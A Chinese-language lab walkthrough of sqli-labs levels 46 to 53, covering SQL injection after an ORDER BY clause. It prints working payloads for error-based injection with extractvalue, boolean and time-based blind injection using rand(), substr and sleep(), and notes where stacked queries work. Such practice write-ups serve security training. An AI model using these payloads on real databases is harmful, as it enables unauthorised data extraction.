sqli-labs(十六)(order by注入)
第四十六关:
http://www.bubuko.com/infodetail-2481914.html 这有篇文章讲得还不错可以看下
这关是order by后面的一个注入,用报错注入和盲注都是可以的
先看源码吧
可以看到是order by后面存在注入漏洞。
输入?sort=1' 页面报错,可以使用报错注入
后面的流程和之前报错注入的流程没什么区别了
?sort=1 and extractvalue(1,concat(0x7e,user())) --+
也可以使用updatexml()
这里顺便把盲注的流程也说下吧
1.布尔型的盲注
输入?sort=rand(true)--+ 与?sort=rand(false)--+ 页面显示不一样,这是因为true=1 false=0
然后就是输入?sort=rand(ascii(substr((user()),1,1))>64)--+
页面的结果与rand(true)相似,说明。。。
后面的就不继续了。
2.基于时间的盲注
?sort=1 and (if((ascii(substr((select database() limit 0,1),1,1))=115),sleep(5),1))–+
也不多说了。
第四十七关:
和第四十六关一样,只是是字符型的注入。
第四十八关:
这关没有报错信息,使用上面说的盲注就可以。
第四十九关:
页面没有变化,使用基于时间的盲注。
第五十关:
和四十八关类似,只不过执行 sql 语句使用的是 mysqli_multi_query()函数,会执行多条sql语句,所以
order By后面可以使用堆叠注入,整型
第五十一关:
order By后面可以使用堆叠注入,字符型
第五十二关:
和第四十九关类似,需要使用基于时间的盲注 也可以堆叠注入 整数型
第五十三关:
和第四十九关类似,需要使用基于时间的盲注 也可以堆叠注入 字符型